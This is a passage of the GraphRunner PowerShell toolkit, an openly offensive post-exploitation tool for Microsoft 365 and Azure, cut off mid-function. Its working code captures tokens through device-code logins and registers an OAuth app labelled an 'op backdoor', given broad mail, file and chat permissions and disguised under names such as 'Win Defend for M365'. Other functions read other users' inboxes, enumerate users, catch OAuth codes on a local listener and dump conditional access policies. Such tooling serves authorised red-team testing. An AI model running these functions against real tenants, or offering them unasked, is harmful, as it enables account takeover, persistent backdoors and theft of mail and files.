mirror of
https://github.com/dafthack/GraphRunner
synced 2026-06-08 13:44:02 +00:00
1824 lines
69 KiB
PowerShell
1824 lines
69 KiB
PowerShell
|
|
Write-Host -ForegroundColor green "
|
|
________ __ _______ by Beau Bullock (@dafthack)
|
|
/_______/___________ ______ | |____/_______\__ __ ____ ____ ___________
|
|
/___\ __\______\____\ \_____\|__|__\|________/__|__\/____\ /____\_/____\______\
|
|
\ \_\ \ | \// __ \| |_/ | Y \ | \ | / | \ | \ ___/| | \/
|
|
\________/__| (______/__| |___|__|____|___/____/|___|__/___|__/\___| >__|
|
|
Do service principals dream of electric sheep?
|
|
|
|
For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
|
|
"
|
|
|
|
|
|
function Get-GraphTokens{
|
|
|
|
Write-Host -ForegroundColor yellow "[*] Initiating a device code login."
|
|
|
|
$body = @{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"resource" = "https://graph.microsoft.com"
|
|
}
|
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
$Headers=@{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
$authResponse = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
Write-Host -ForegroundColor yellow $authResponse.Message
|
|
|
|
$continue = "authorization_pending"
|
|
while($continue)
|
|
{
|
|
|
|
$body=@{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
"scope" = "openid"
|
|
}
|
|
try{
|
|
$global:tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Output $details.error
|
|
}
|
|
if($tokens)
|
|
{
|
|
|
|
$tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
|
|
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
|
|
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
|
|
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
|
|
$tokobj = $tokenArray | ConvertFrom-Json
|
|
$global:tenantid = $tokobj.tid
|
|
Write-host "Decoded JWT payload:"
|
|
$tokobj
|
|
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
|
|
break
|
|
}
|
|
Start-Sleep -Seconds 3
|
|
}
|
|
}
|
|
|
|
function Refresh-GraphTokens{
|
|
|
|
if(!$tokens){
|
|
write-host -ForegroundColor red '[*] No tokens found in the $tokens variable. Use the Get-GraphTokens module to authenticate first.'
|
|
break
|
|
}
|
|
Write-Host -ForegroundColor yellow "[*] Refreshing Tokens..."
|
|
$authUrl = "https://login.microsoftonline.com/$tenantid"
|
|
$refreshbody = @{
|
|
"resource" = "https://graph.microsoft.com/"
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"grant_type" = "refresh_token"
|
|
"refresh_token" = $tokens.refresh_token
|
|
"scope"= "openid"
|
|
}
|
|
|
|
try{
|
|
$reftokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token" -Headers $Headers -Body $refreshbody
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
Write-Output $details.error
|
|
}
|
|
if($reftokens)
|
|
{
|
|
$global:tokens = $reftokens
|
|
$tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
|
|
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
|
|
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
|
|
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
|
|
$tokobj = $tokenArray | ConvertFrom-Json
|
|
$global:tenantid = $tokobj.tid
|
|
Write-host "Decoded JWT payload:"
|
|
$tokobj
|
|
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
|
|
break
|
|
}
|
|
}
|
|
|
|
function Inject-OAuthApp{
|
|
|
|
|
|
<#
|
|
.SYNOPSIS
|
|
This is a CLI tool for automating the deployment of an app registration to a Microsoft Azure tenant. In the event that the Azure portal is locked down this may provide an additional mechanism for app deployment, provided that user's are allowed to register apps in the tenant.
|
|
Author: Beau Bullock (@dafthack)
|
|
License: MIT
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
This is a CLI tool for automating the deployment of an app registration to a Microsoft Azure tenant. In the event that the Azure portal is locked down this may provide an additional mechanism for app deployment, provided that user's are allowed to register apps in the tenant.
|
|
|
|
.PARAMETER AppName
|
|
|
|
The display name of the App Registration. This is what will be displayed on the consent page.
|
|
|
|
|
|
.PARAMETER ReplyUrl
|
|
|
|
The reply URL to redirect a user to after app consent. This is where you will want to capture the OAuth code and complete the flow to obtain an access token and refresh token.
|
|
|
|
.PARAMETER Scope
|
|
|
|
Delegated Microsoft Graph permissions to scope to the app. Example: Mail.Read, User.ReadBasic.All, etc. Scope items need to be comma separated with each item in double quotes like this (-scope "Mail.Read","openid","email","profile","offline_access")
|
|
|
|
.PARAMETER Tokens
|
|
|
|
Provide an already authenticated access token.
|
|
|
|
.EXAMPLE
|
|
|
|
C:\PS> Inject-OAuthApp -AppName "Win Defend for M365" -ReplyUrl "https://windefend.azurewebsites.net" -scope "openid","Mail.Read","email","profile","offline_access"
|
|
Description
|
|
-----------
|
|
This command will inject an app registration with the display name of "Win Defend for M365" with a scope of openid, Mail.Read, email, profile, and offline_access
|
|
|
|
.EXAMPLE
|
|
|
|
C:\PS> Inject-OAuthApp -AppName "Not a Backdoor" -ReplyUrl "https://windefend.azurewebsites.net" -scope "op backdoor" -AccessToken "eyJ0eXAiOiJKV..."
|
|
Description
|
|
-----------
|
|
This command takes an already authenticated access token gathered from something like a device code login. It uses the hardcoded value of "op backdoor" as the scope to add a large number of permissions to the app registration. None of these permissions require admin consent.
|
|
#>
|
|
Param(
|
|
|
|
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[string]
|
|
$AppName = "",
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[string]
|
|
$ReplyUrl = "",
|
|
|
|
[Parameter(Position = 2, Mandatory = $True)]
|
|
[string[]]
|
|
$Scope,
|
|
|
|
[Parameter(Position = 3, Mandatory = $False)]
|
|
[object[]]
|
|
$Tokens
|
|
)
|
|
if($Tokens){
|
|
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
|
|
$access_token = $tokens.access_token
|
|
|
|
}
|
|
else{
|
|
# Login
|
|
Write-Host -ForegroundColor yellow "[*] First, you need to login as the user you want to deploy the app as."
|
|
|
|
$body = @{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"resource" = "https://graph.microsoft.com"
|
|
}
|
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
$Headers=@{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
$authResponse = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
Write-Host -ForegroundColor yellow $authResponse.Message
|
|
|
|
$continue = "authorization_pending"
|
|
while($continue)
|
|
{
|
|
|
|
$body=@{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
}
|
|
try{
|
|
$global:tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Output $details.error
|
|
}
|
|
if($tokens)
|
|
{
|
|
write-host -ForegroundColor yellow '[*] Successful Auth! Access and refresh tokens are accessible in the $tokens variable.'
|
|
$access_token = $tokens.access_token
|
|
break
|
|
}
|
|
Start-Sleep -Seconds 3
|
|
}
|
|
|
|
}
|
|
$Headers = @{
|
|
Authorization = "Bearer $access_token"
|
|
}
|
|
|
|
# Get Microsoft Graph Object ID
|
|
Write-Host -ForegroundColor yellow "[*] Getting Microsoft Graph Object ID"
|
|
|
|
|
|
# Get full service principal list
|
|
|
|
$initialUrl = "https://graph.microsoft.com/v1.0/servicePrincipals"
|
|
$headers = @{"Authorization" = "Bearer $access_token"}
|
|
|
|
# Initialize an array to store all collected data
|
|
$allData = @()
|
|
|
|
# Loop until there's no more nextLink
|
|
do {
|
|
# Invoke the web request
|
|
$response = Invoke-WebRequest -Uri $initialUrl -Headers $headers
|
|
|
|
# Convert the response content to JSON
|
|
$jsonData = $response.Content | ConvertFrom-Json
|
|
|
|
# Add the current page's data to the array
|
|
$allData += $jsonData.value
|
|
|
|
# Check if there's a nextLink
|
|
if ($jsonData.'@odata.nextLink') {
|
|
$initialUrl = $jsonData.'@odata.nextLink'
|
|
} else {
|
|
|
|
break
|
|
}
|
|
} while ($true)
|
|
|
|
$appDisplayNameToSearch = "Microsoft Graph"
|
|
$graphId = $allData | Where-Object { $_.appDisplayName -eq $appDisplayNameToSearch } | Select-Object -ExpandProperty appId
|
|
$graphIdInternal = $allData | Where-Object { $_.appDisplayName -eq $appDisplayNameToSearch } | Select-Object -ExpandProperty Id
|
|
Write-Output "Graph ID: $graphId"
|
|
Write-Output "Internal Graph ID: $graphIdInternal"
|
|
|
|
# Get Object IDs of individual permissions
|
|
Write-Host -ForegroundColor yellow "[*] Now getting object IDs for scope objects:"
|
|
$spns = Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$graphIdInternal" -Headers $headers
|
|
$spnsjson = $spns.Content | ConvertFrom-Json
|
|
|
|
if ($Scope -like "op backdoor")
|
|
{
|
|
$Scope = "openid","profile","offline_access","email","User.Read","User.ReadBasic.All","Mail.Read","Mail.Send","Mail.Read.Shared","Mail.Send.Shared","Files.ReadWrite.All","EWS.AccessAsUser.All","ChatMessage.Read","ChatMessage.Send","Chat.ReadWrite","Chat.Create","ChannelMessage.Edit","ChannelMessage.Send","Channel.ReadBasic.All","Presence.Read.All","Team.ReadBasic.All","Team.Create","Sites.Manage.All","Sites.Read.All","Sites.ReadWrite.All","Policy.Read.ConditionalAccess"
|
|
Write-Host -ForegroundColor yellow "[*] One overpowered (OP) backdoor is coming right up! Here is the scope:"
|
|
}
|
|
$scopeurl = ""
|
|
$accesslist = ""
|
|
$scopeIds = @{}
|
|
$joinedScope = $Scope -join " "
|
|
$joinedScope
|
|
|
|
# Loop through each item in $Scope
|
|
foreach ($item in $Scope){
|
|
$variableName = $item -replace "[\W\d]", "" # Remove non-alphanumeric characters and digits
|
|
$variableName = $variableName + "Scope"
|
|
|
|
|
|
$scopeItem = $spnsjson.oauth2PermissionScopes | Where-Object { $_.value -eq "$item" } |select-object id
|
|
$scopeId = ('"' + $scopeItem.Id +'"')
|
|
if (!$scopeId){Write-host -foregroundcolor red "[**] Couldn't find scope option $item"}
|
|
else{
|
|
Write-Host ($item + " : " + $scopeId)
|
|
$scopeurl += "$item%20"
|
|
$accesslist += '{"id": ' + $scopeId + ',"type": "Scope"},'
|
|
|
|
# Store the scope ID in the hashtable
|
|
$scopeIds[$variableName] = $scopeId
|
|
}
|
|
}
|
|
|
|
Write-Host -ForegroundColor yellow "[*] Finished collecting object IDs of permissions."
|
|
# Create a resources variable
|
|
$permissions = $accesslist.Trim(",")
|
|
|
|
$resources = @"
|
|
{"resourceAppId": "$graphId", "resourceAccess": [$permissions]}
|
|
"@
|
|
|
|
# Create the app in the tenant
|
|
Write-host -ForegroundColor yellow "[*] Now deploying the app registration with display name $AppName to the tenant."
|
|
|
|
$resourceAccess = $resources | ConvertFrom-Json
|
|
|
|
# Construct the JSON body
|
|
$jsonBody = @{
|
|
displayName = $AppName
|
|
signInAudience = "AzureADMultipleOrgs"
|
|
keyCredentials = @()
|
|
web = @{
|
|
redirectUris = @($ReplyUrl)
|
|
}
|
|
requiredResourceAccess = @(
|
|
@{
|
|
resourceAppId = $resourceAccess.resourceAppId
|
|
resourceAccess = $resourceAccess.resourceAccess
|
|
}
|
|
)
|
|
}
|
|
|
|
# Convert the JSON body to a properly formatted JSON string
|
|
$finalJson = $jsonBody | ConvertTo-Json -Depth 10
|
|
|
|
$appcreationheaders = @{
|
|
Authorization = "Bearer $access_token"
|
|
"Content-Type" = "application/json"
|
|
"Accept-Encoding" = "gzip, deflate"
|
|
}
|
|
|
|
|
|
$appresponse = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications" -Headers $appcreationheaders -Method Post -Body $finaljson
|
|
|
|
if (!$appresponse){
|
|
Write-host -ForegroundColor red "[*] An error occurred during deployment."
|
|
break
|
|
}
|
|
|
|
$currentTime = Get-Date -Format "yyyy-MM-ddTHH:mm:ssZ"
|
|
$oneYearLater = (Get-Date).AddYears(1).ToString("yyyy-MM-ddTHH:mm:ssZ")
|
|
$secretCredential = @{
|
|
passwordCredential = @{
|
|
displayName = $null
|
|
endDateTime = $oneYearLater
|
|
startDateTime = $currentTime
|
|
}
|
|
}
|
|
$SecretBody = $secretCredential | ConvertTo-Json
|
|
$applicationid = $appresponse.id
|
|
$secretrequest = Invoke-WebRequest -Headers $Headers -Method POST -ContentType "application/json" -Body $SecretBody -Uri "https://graph.microsoft.com/v1.0/applications/$applicationid/addPassword"
|
|
|
|
$secretdata = $secretrequest.Content |ConvertFrom-json
|
|
|
|
# Generate the Consent URL
|
|
Write-host -ForegroundColor yellow "[*] If everything worked successfully this is the consent URL you can use to grant consent to the app:"
|
|
$consentURL = "https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=" + $appresponse.AppId + "&response_type=code&redirect_uri=
|
|
" + [System.Web.HttpUtility]::UrlEncode($ReplyUrl) + "&response_mode=query&scope=" + $scopeurl.Trim("%20") + "&state=1234"
|
|
Write-Host "--------------------------------------------------------"
|
|
Write-Host -ForegroundColor green $consentURL
|
|
Write-Host "--------------------------------------------------------"
|
|
Write-Host ("Application ID: " + $appresponse.AppId)
|
|
|
|
Write-Host ("Secret: " + $Secretdata.secretText)
|
|
Write-Host "--------------------------------------------------------"
|
|
|
|
if($ReplyUrl -match "localhost" -or $ReplyUrl -match "127.0.0.1"){
|
|
Write-Host "Localhost detected in Reply URL field. You can use the Invoke-AutoOAuthFlow module to complete the OAuth flow automatically."
|
|
Write-Host "--------------------------------------------------------"
|
|
$scopeclean = ('"' + $scopeurl.replace('%20', ' ').Trim(" ") + '"')
|
|
Write-Host -ForegroundColor Cyan ('Invoke-AutoOAuthFlow -ClientId "' + $appresponse.AppId + '" -ClientSecret "' + $Secretdata.secretText + '" -RedirectUri "' + $ReplyURL + '" -scope ' + $scopeclean)
|
|
}
|
|
else{
|
|
Write-Host "After you obtain an OAuth Code from the redirect URI server you can use this command to complete the flow:"
|
|
Write-Host "--------------------------------------------------------"
|
|
$scopeclean = ('"' + $scopeurl.replace('%20', ' ').Trim(" ") + '"')
|
|
Write-Host -ForegroundColor Cyan ('Get-AzureAppTokens -ClientId "' + $appresponse.AppId + '" -ClientSecret "' + $Secretdata.secretText + '" -RedirectUri "' + $ReplyURL + '" -scope ' + $scopeclean + " -AuthCode <insert your OAuth Code here>")
|
|
}
|
|
}
|
|
|
|
|
|
Function Invoke-GraphOpenInboxFinder{
|
|
param(
|
|
[Parameter(Position = 0, Mandatory = $true)]
|
|
[object[]]
|
|
$Tokens = "",
|
|
[Parameter(Position = 0, Mandatory = $true)]
|
|
[string]
|
|
$userlist = ""
|
|
)
|
|
|
|
$Mailboxes = @(Get-Content -Path $userlist)
|
|
$count = $Mailboxes.count
|
|
$curr_mbx = 0
|
|
|
|
$access_token = $tokens.access_token
|
|
|
|
Write-Output "`n`r"
|
|
Write-Output "[*] Checking access to mailboxes for each email address..."
|
|
Write-Output "`n`r"
|
|
foreach($mbx in $Mailboxes)
|
|
{
|
|
$request = ""
|
|
Write-Host -nonewline "$curr_mbx of $count mailboxes checked`r"
|
|
$curr_mbx += 1
|
|
try { $request = Invoke-WebRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/users/$mbx/mailFolders/Inbox/messages" -Headers @{"Authorization" = "Bearer $access_token"}
|
|
}catch{
|
|
$err = $_.Exception.Response.StatusCode.Value__
|
|
}
|
|
|
|
If ($request.StatusCode -eq 200){
|
|
Write-Host -ForegroundColor Green "[*] SUCCESS! Inbox of $mbx is readable."
|
|
$out = $request.Content | ConvertFrom-Json
|
|
Write-Host ("Latest Email Received " + $out.value.createdDateTime + " with subject: " + $out.value.subject)
|
|
}
|
|
}
|
|
}
|
|
|
|
## A few tools for working with Azure OAuth2 Authentication Codes and access_tokens for Azure App Registrations
|
|
## By Beau Bullock @dafthack
|
|
|
|
Function Get-AzureAppTokens{
|
|
|
|
Param
|
|
(
|
|
[Parameter(Position = 0, Mandatory = $true)]
|
|
[string]
|
|
$Scope = "",
|
|
|
|
[Parameter(Position = 1, Mandatory = $true)]
|
|
[string]
|
|
$ClientID = "",
|
|
|
|
[Parameter(Position = 2, Mandatory = $true)]
|
|
[string]
|
|
$ClientSecret = "",
|
|
|
|
[Parameter(Position = 3, Mandatory = $true)]
|
|
[string]
|
|
$RedirectUri = "",
|
|
|
|
[Parameter(Position = 4, Mandatory = $true)]
|
|
[string]
|
|
$AuthCode = ""
|
|
)
|
|
|
|
$body = @{client_id=$ClientID
|
|
scope=$Scope
|
|
code=$AuthCode
|
|
redirect_uri=$RedirectUri
|
|
grant_type="authorization_code"
|
|
client_secret=$ClientSecret
|
|
}
|
|
|
|
try{
|
|
$request = Invoke-WebRequest -Method POST -ContentType "application/x-www-form-urlencoded" -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Output $details.error
|
|
}
|
|
if($request)
|
|
{
|
|
$global:apptokens = $request.Content | ConvertFrom-Json
|
|
Write-Output "---Here is your access token---"
|
|
$apptokens.access_token
|
|
Write-Output "---Here is your refresh token---"
|
|
$apptokens.refresh_token
|
|
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $apptokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $apptokens)'
|
|
}
|
|
}
|
|
|
|
Function Check-MSGraphAccess{
|
|
param(
|
|
[Parameter(Position = 0, Mandatory = $true)]
|
|
[object[]]
|
|
$Tokens = ""
|
|
)
|
|
$access_token = $tokens.access_token
|
|
$request = Invoke-WebRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/me" -Headers @{"Authorization" = "Bearer $access_token"}
|
|
$out = $request.Content | ConvertFrom-Json
|
|
$out
|
|
}
|
|
|
|
Function Refresh-AzureAppTokens{
|
|
Param
|
|
(
|
|
[Parameter(Position = 0, Mandatory = $false)]
|
|
[string]
|
|
$Scope = "openid offline_access email user.read profile",
|
|
|
|
[Parameter(Position = 1, Mandatory = $true)]
|
|
[string]
|
|
$ClientID = "",
|
|
|
|
[Parameter(Position = 2, Mandatory = $true)]
|
|
[string]
|
|
$ClientSecret = "",
|
|
|
|
[Parameter(Position = 3, Mandatory = $true)]
|
|
[string]
|
|
$RedirectUri = "",
|
|
|
|
[Parameter(Position = 4, Mandatory = $true)]
|
|
[string]
|
|
$RefreshToken = ""
|
|
)
|
|
|
|
$body = @{client_id=$ClientID
|
|
scope=$Scope
|
|
refresh_token=$RefreshToken
|
|
redirect_uri=$RedirectUri
|
|
grant_type="refresh_token"
|
|
client_secret=$ClientSecret
|
|
}
|
|
|
|
$request = Invoke-WebRequest -Method POST -ContentType "application/x-www-form-urlencoded" -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body
|
|
$global:apptokens = $request.Content | ConvertFrom-Json
|
|
Write-Output "---Here is your access token---"
|
|
$parsed.access_token
|
|
Write-Output "---Here is your refresh token---"
|
|
$parsed.refresh_token
|
|
|
|
}
|
|
|
|
|
|
Function Invoke-AutoOAuthFlow{
|
|
Param
|
|
(
|
|
[Parameter(Position = 0, Mandatory = $true)]
|
|
[string]
|
|
$Scope = "",
|
|
|
|
[Parameter(Position = 1, Mandatory = $true)]
|
|
[string]
|
|
$ClientID = "",
|
|
|
|
[Parameter(Position = 2, Mandatory = $true)]
|
|
[string]
|
|
$ClientSecret = "",
|
|
|
|
[Parameter(Position = 3, Mandatory = $true)]
|
|
[string]
|
|
$RedirectUri = ""
|
|
)
|
|
Add-Type -AssemblyName System.Web
|
|
|
|
$listener = New-Object System.Net.HttpListener
|
|
$listener.Prefixes.Add("http://localhost:10000/")
|
|
$listener.Start()
|
|
|
|
Write-Host "Listening for incoming requests on http://localhost:10000/"
|
|
|
|
$context = $listener.GetContext() # This blocks until a request is received
|
|
$request = $context.Request
|
|
$response = $context.Response
|
|
|
|
# Capture the OAuth code from the query parameters
|
|
$queryParams = [System.Web.HttpUtility]::ParseQueryString($request.Url.Query)
|
|
$oauthCode = $queryParams["code"]
|
|
|
|
# You can now process the OAuth code as needed
|
|
Write-Host "Captured OAuth code: $oauthCode"
|
|
|
|
# Respond to the client
|
|
$responseText = "OAuth code captured successfully."
|
|
$responseBytes = [System.Text.Encoding]::UTF8.GetBytes($responseText)
|
|
$response.OutputStream.Write($responseBytes, 0, $responseBytes.Length)
|
|
$response.Close()
|
|
|
|
$listener.Stop()
|
|
|
|
Get-AzureAppTokens -ClientId $ClientID -ClientSecret $ClientSecret -RedirectUri $RedirectUri -scope $Scope -AuthCode $oauthCode
|
|
|
|
}
|
|
|
|
Function Get-Inbox{
|
|
param(
|
|
[Parameter(Position = 0, Mandatory = $true)]
|
|
[object[]]
|
|
$Tokens = "",
|
|
[Parameter(Position = 0, Mandatory = $true)]
|
|
[string]
|
|
$userid = ""
|
|
)
|
|
|
|
$access_token = $Tokens.access_token
|
|
|
|
$request = Invoke-WebRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/users/$userid/mailFolders/Inbox/messages" -Headers @{"Authorization" = "Bearer $access_token"}
|
|
$out = $request.Content | ConvertFrom-Json
|
|
|
|
$out.value
|
|
|
|
|
|
}
|
|
|
|
|
|
Function Get-AzureADUsers{
|
|
param(
|
|
[Parameter(Position = 0, Mandatory = $true)]
|
|
[object[]]
|
|
$Tokens = "",
|
|
[Parameter(Position = 1, Mandatory = $true)]
|
|
[string]
|
|
$outfile = ""
|
|
)
|
|
$access_token = $tokens.access_token
|
|
$request = Invoke-WebRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/users" -Headers @{"Authorization" = "Bearer $access_token"}
|
|
$out = $request.Content | ConvertFrom-Json
|
|
|
|
Write-Output "---All Azure AD User Principal Names---"
|
|
$out.value.userPrincipalName
|
|
$out.value.userPrincipalName | Out-File -Encoding ASCII $outfile
|
|
}
|
|
|
|
|
|
|
|
Function Invoke-DumpCAPS{
|
|
<#
|
|
.SYNOPSIS
|
|
Tool for dumping conditional access policies
|
|
Author: Beau Bullock (@dafthack)
|
|
License: MIT
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Tool for dumping conditional access policies
|
|
|
|
.PARAMETER Tokens
|
|
|
|
Token object for auth
|
|
|
|
.PARAMETER ResolveGuids
|
|
|
|
Switch to resolve user and group guids if wanted
|
|
|
|
.EXAMPLE
|
|
|
|
C:\PS> Invoke-DumpCAPS -ResolveGuids
|
|
Description
|
|
-----------
|
|
This command will dump conditional access policies from the tenant and resolve user and group guids.
|
|
|
|
|
|
.EXAMPLE
|
|
|
|
C:\PS> Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
|
Description
|
|
-----------
|
|
Use a previously authenticated refresh token to dump CAPS
|
|
|
|
#>
|
|
|
|
|
|
Param(
|
|
|
|
|
|
[Parameter(Position = 0, Mandatory = $False)]
|
|
[switch]
|
|
$ResolveGuids,
|
|
|
|
[Parameter(Position = 1, Mandatory = $False)]
|
|
[object[]]
|
|
$Tokens = ""
|
|
|
|
)
|
|
|
|
if($Tokens){
|
|
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
|
|
Write-Host -ForegroundColor Yellow "[*] Refreshing token to the Azure AD Graph API..."
|
|
$RefreshToken = $tokens.refresh_token
|
|
$authUrl = "https://login.microsoftonline.com/$tenantid"
|
|
$refreshbody = @{
|
|
"resource" = "https://graph.windows.net/"
|
|
"client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
|
|
"grant_type" = "refresh_token"
|
|
"refresh_token" = $RefreshToken
|
|
"scope"= "openid"
|
|
}
|
|
|
|
try{
|
|
$reftokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token" -Headers $Headers -Body $refreshbody
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
Write-Output $details.error
|
|
}
|
|
if($reftokens)
|
|
{
|
|
$aadtokens = $reftokens
|
|
$access_token = $aadtokens.access_token
|
|
}
|
|
}
|
|
else{
|
|
# Login
|
|
Write-Host -ForegroundColor yellow "[*] Initiating a device code login."
|
|
|
|
$body = @{
|
|
"client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
|
|
"resource" = "https://graph.windows.net/"
|
|
}
|
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
$Headers=@{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
$authResponse = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
Write-Host -ForegroundColor yellow $authResponse.Message
|
|
|
|
$continue = "authorization_pending"
|
|
while($continue)
|
|
{
|
|
|
|
$body=@{
|
|
"client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
}
|
|
try{
|
|
$aadtokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Output $details.error
|
|
}
|
|
if($aadtokens)
|
|
{
|
|
$access_token = $aadtokens.access_token
|
|
break
|
|
}
|
|
Start-Sleep -Seconds 3
|
|
}
|
|
}
|
|
|
|
$tokenPayload = $aadtokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
|
|
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
|
|
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
|
|
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
|
|
$tokobj = $tokenArray | ConvertFrom-Json
|
|
$tenantid = $tokobj.tid
|
|
|
|
|
|
$HeadersAuth = @{
|
|
Authorization = "Bearer $access_token"
|
|
}
|
|
|
|
$CAPSUrl = "https://graph.windows.net/$tenantid/policies?api-version=1.61-internal"
|
|
$CAPS = Invoke-RestMethod -Method GET -Uri $CAPSUrl -Headers $HeadersAuth
|
|
$parsedjson = $CAPS
|
|
|
|
Write-Host -ForegroundColor Yellow "[*] Now dumping conditional access policies from the tenant."
|
|
# Iterate through each policy object and print the details
|
|
foreach ($policy in $parsedJson.value) {
|
|
$policyType = $policy.policyType
|
|
$displayName = $policy.displayName
|
|
$policyDetail = $policy.policyDetail | ConvertFrom-Json
|
|
if ($policyType -eq "18"){
|
|
# Process the PolicyDetail field
|
|
$policyState = $policyDetail.State
|
|
$conditionspreformat = $policyDetail.Conditions
|
|
$controls = $policyDetail.Controls.Control -join ", "
|
|
|
|
# Print the policy details
|
|
# If the policy is disabled print in gray
|
|
if ($policyState -eq "Disabled") {
|
|
Write-Host -ForegroundColor DarkGray "Display Name: $displayName"
|
|
Write-Host -ForegroundColor DarkGray "Policy Type: $policyType"
|
|
Write-Host -ForegroundColor Red "Policy State: $policyState"
|
|
Write-Host -ForegroundColor DarkGray "Conditions:`n"
|
|
$formattedConditions = @()
|
|
|
|
foreach ($condition in $conditionspreformat.PSObject.Properties) {
|
|
$conditionType = $condition.Name
|
|
$conditionData = $condition.Value
|
|
|
|
$conditionText = ""
